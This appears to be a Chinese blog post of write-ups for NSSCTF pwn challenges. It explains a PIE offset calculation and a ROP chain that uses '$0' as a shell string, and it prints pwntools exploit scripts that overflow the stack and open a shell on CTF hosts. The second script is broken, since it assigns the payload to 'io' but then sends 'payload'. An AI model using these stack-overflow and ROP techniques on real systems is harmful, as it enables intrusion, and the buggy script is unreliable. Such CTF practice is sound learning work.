首页 > 其他分享 >NSSCTF(PWN)3

NSSCTF(PWN)3

时间:2024-09-29 19:49:51浏览次数:9  
标签:shell system padding flag io PWN main NSSCTF

[HGAME 2023 week1]test_nc

这是一道简单的nc签到题,直接终端nc就行

[NISACTF 2022]ezpie

使用checksec,发现这题是32位且开了PIE

进入main函数,我们要打印一个Input,发现了vuln双击进入

这里涉及了严重的栈溢出

因为这道题涉及PIE我们要找到main和shell的偏移量

经过计算shell - main = 9F

这题还是有点不理解,参考了很多师傅的exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','29399')
io.recvuntil(b'gift!')
main_addr = 0x770
main = int(io.recv()[1:11],16) 
shell = main + 0x9F 
print(shell)
#io.recvuntil(b'Input:')
padding = b'a'*(0x28+0x4)
payload = padding + p32(main) + p32(shell)
io.sendline(payload)
io.interactive()

运行输入cat flag得到flag

[HNCTF 2022 Week1]easyoverflow

nc 输入大量的a就得到flag了

[GFCTF 2021]where_is_shell

查看main函数我们发现这里涉及栈溢出

查看后发现没有找到/bin/sh字符串 只有报错代码

$0 可以当作shell执行 用ord 和hex可以找到对应

$0对应的为 24 30 所以从41开始所以地址从0x400540

变成0x400541

将system(binsh)换成$0的地址

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28761')
elf = ELF('/home/xp/tm/bin/8')
padding = b'a'*(0x10+0x8)
system = elf.plt['system']
ret = 0x400416
rdi = 0x4005e3
shell = 0x400541
io = padding + p64(ret) + p64(rdi) + p64(shell) + p64(system) #涉及版本过高要加一个ret
io.sendline(payload)
io.interactive()

得到flag

标签:shell,system,padding,flag,io,PWN,main,NSSCTF
From: https://blog.csdn.net/fanshaoze/article/details/142641521

相关文章

  • 安装ubuntu以及pwn的环境搭建
    推荐pwn方向Pwn环境搭建基本工具:gdb+peda+pwndbg、gcc、Pwntools、Capstone、gcc-multilib、socat、rp++、readelfROPgaget、libc-database、objdump、file、string、checksec ubuntu下载本人推荐清华大学开源软件镜像站:清华大学开源软件镜像站|TsinghuaOpenSourc......
  • 极客大挑战2023-pwn-nc_pwntools WriteUp
    主要考查点Pwntools工具的基本使用方法解题思路1.nc连接题目,得到提示:根据题目,要求发送一个100长度的字符串,而且末尾需要为Sycloverb'A'*92+b'Syclover'2.发送第一个请求后进入第二步要求短时间内计算一个复杂算式,自己算是肯定不可能的,所以pwntools的recv来接收并完成......
  • buuctf pwn [第五空间2019 决赛]PWN51
    首先用checksec检查一下,发现是32位的,还有栈保护。然后将其放入ida32,查看main函数,幸运的发现有system。然后接下来就是理解这段反编译代码在讲什么,它的意思是它会随机生成一个4字节大小的数据,然后我们输入的passwd要与其相等。但是我们并不知道它随机生成的是什么,所以我们可以......
  • buuctf pwn jarvisoj_level01
    首先,将下载的文件用checksec检查一下然后我们将其放入ida64中,按tap键查看源码点开vuln函数,看见有read,buf,发现buf占0x80空间,而,read里面有0x200,所以会有溢出。这里显示buf的地址为0x80+8,即136。然后有发现有system函数那就简单多了,它的起始地址为0x400596接下来写代码......
  • BUUCTF(PWN)- rip
    BUUCTF(PWN)-rip打开题目得到靶机信息:node5.buuoj.cn:29045和附件pwn1查看文件信息为64-bit,用ida打开附件首先shift+f12查找字符串,能看见system、/bin/sh字样,点击pleaseinput或者ok,bye!!!跳转直接进入main函数查看gets并没有限制输入,gets函数的缓冲......
  • NSSCTF [HUBUCTF 2022 新生赛]simple_RE(变种base64编码)
    文件无壳拖入IDA中shift+F12查看可疑字符串发现两串字符串一看这两个等于号就猜测是base64编码进入主函数看看这段代码是一个简单的C语言程序,主要功能是接受用户输入的字符串作为“flag”,然后通过对输入的字符串进行一些处理和比较来验证是否输入了正确的“flag”。......
  • 926pwn学习
    9/26pwn学习pwn基础学习C语言-3while循环if是一次性的,while是循环不断的下面是一个循环体while(x>0){x/=10;n++;}条件成立是循环继续的条件do-while循环再进入循环的时候不做检查,而是在执行完一轮循环体的代码后,再来检查循环的条件是否满足,如果满足则继续......
  • 2024最新pwn环境配置与基础讲解
    从零开始配置ubuntupwn虚拟机参考一个比较新的环境搭建教程:#ubuntu20.04PWN(含x86、ARM、MIPS)环境搭建致敬传奇大神hollk师傅博客中的配置过程可参见B站视频:2024最新pwn环境配置与基础讲解1.ubuntu虚拟机安装24.04下载:https://ubuntu.com/download/desktop/thank-you?ver......
  • nssctf(web
    web1.浏览器也能套娃查看wp,是ssrf漏洞介绍:SSRF漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。SSRF的利用:进行内网资源的访问:url?url=http://内网的资源url利用伪协议:file:///这种......
  • CTFSHOW pwn03 WrriteUp
    本文来自一个初学CTF的小白,如有任何问题请大佬们指教!题目来源CTFShowpwn-pwn03(ret2libc)https://ctf.show/challenges思路1.下载题目放到checksec先查一下2.IDA打开题目Shift+F12查看字符串发现没有system和/bin/sh,但是有libc文件。3.用gdb的cyclic查询一下溢出所......